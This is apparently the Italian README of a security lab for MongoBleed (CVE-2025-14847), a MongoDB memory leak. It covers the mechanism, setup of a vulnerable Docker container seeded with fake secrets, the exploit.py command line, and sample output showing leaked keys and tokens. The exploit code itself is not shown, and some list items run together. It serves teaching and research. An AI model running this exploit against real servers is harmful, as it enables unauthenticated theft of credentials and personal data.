
MongoBleed (CVE-2025-14847) Lab & PoC : un ambiente didattico completo per riprodurre la critica perdita di memoria non autenticata in MongoDB. Include un container Docker vulnerabile con seeding multi-database (PII, chiavi API) e un exploit in Python per dimostrare l'estrazione dei dati. Ideale per la ricerca sulla sicurezza informatica e la sensibilizzazione. Analisi 1-day.
Questo laboratorio è progettato per riprodurre e analizzare MongoBleed (CVE-2025-14847), una vulnerabilità critica in MongoDB. Questa falla consente ad attaccanti non autenticati di leggere dati sensibili dalla memoria del server a causa di una gestione impropria dei messaggi compressi.
L'ambiente include un'istanza MongoDB vulnerabile popolata con dati sensibili fittizi (PII, chiavi API, registri finanziari) per dimostrare la gravità della perdita di dati.
ID CVE: CVE-2025-14847
Nome: MongoBleed
Componente: Wire Protocol (OP_COMPRESSED)
Versioni Vulnerabili: MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (e altre)
URL: Clicca qui -> NVD CVE-2025-14847
La vulnerabilità risiede nel modo in cui MongoDB gestisce i messaggi OP_COMPRESSED utilizzando l'algoritmo di compressione zlib.
uncompressed_size nell'header viene intenzionalmente impostato a un valore molto più grande della dimensione effettiva dei dati decompressi.uncompressed_size gonfiato.zlib scrive il payload effettivo (piccolo) all'inizio di questo buffer. Il resto del buffer rimane non inizializzato, contenente dati residui da operazioni precedenti (artefatti RAM).Il laboratorio è composto da:
admin / secretpassword).init-mongo.js) che popola 3 database distinti per simulare un ambiente SaaS reale di infrastruttura cloud:
compute_instances: Metadati sensibili (script User Data, chiavi API).deployment_secrets: Obiettivi ad alto valore (token K8s, chiavi CI/CD, webhook Slack).users: Credenziali utente, hash delle password (Argon2) e codici di backup MFA (divulgati in chiaro).query_logs: Contiene query storiche, alcune con credenziali divulgate (es. chiavi AWS).exploit.py) che implementa l'attacco al protocollo reverse-engineered.Avvia il container vulnerabile. Questo creerà automaticamente i database e li popolerà con i dati.
docker-compose up -d
Attendi circa 10-15 secondi per l'inizializzazione del database e il caricamento dei dati.
Nota: Se hai già eseguito questo laboratorio in precedenza, assicurati di resettare il volume per caricare la struttura dati più recente:
docker-compose down -v
docker-compose up -d
Puoi installare le dipendenze richieste usando pip con il legacy requirements.txt o con il moderno pyproject.toml.
Opzione A: Usando requirements.txt (Standard)
pip install -r requirements.txt
Opzione B: Usando pyproject.toml (Moderno) Questo installerà il progetto e le sue dipendenze nell'ambiente corrente.
pip install .
Abbiamo fornito uno script di verifica per assicurarsi che il database sia raggiungibile e che i dati siano stati popolati correttamente.
python verify_lab.py
Questo script usa le credenziali di amministratore per verificare l'esistenza di database come sensitive_db, legacy_crm, ecc.
Esegui lo script Python per attaccare il server. Non sono richieste credenziali per questo passaggio, dimostrando la natura non autenticata della vulnerabilità.
python exploit.py --host localhost --port 27017 --min 100 --max 5000
Lo script esegue i seguenti passaggi:
OP_COMPRESSED con una dimensione falsificata e gonfiata.Output Atteso: Dovresti vedere un output che indica perdite trovate a vari offset, seguito da un riepilogo dei segreti rilevati.
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
Per correggere questa vulnerabilità negli ambienti di produzione:
Questo progetto è concesso in licenza sotto la MIT License. Consulta il file LICENSE per i dettagli.
Questo materiale è esclusivamente per scopi educativi e di ricerca. Non utilizzare questo exploit su sistemi che non possiedi o per cui non hai un'autorizzazione esplicita al test. L'autore non è responsabile di qualsiasi uso improprio di queste informazioni o di questo strumento.
Joseph Meneses (ElJoamy)
Sviluppatore Backend e AI · Ingegnere della Sicurezza Informatica · DBA · Penetration Tester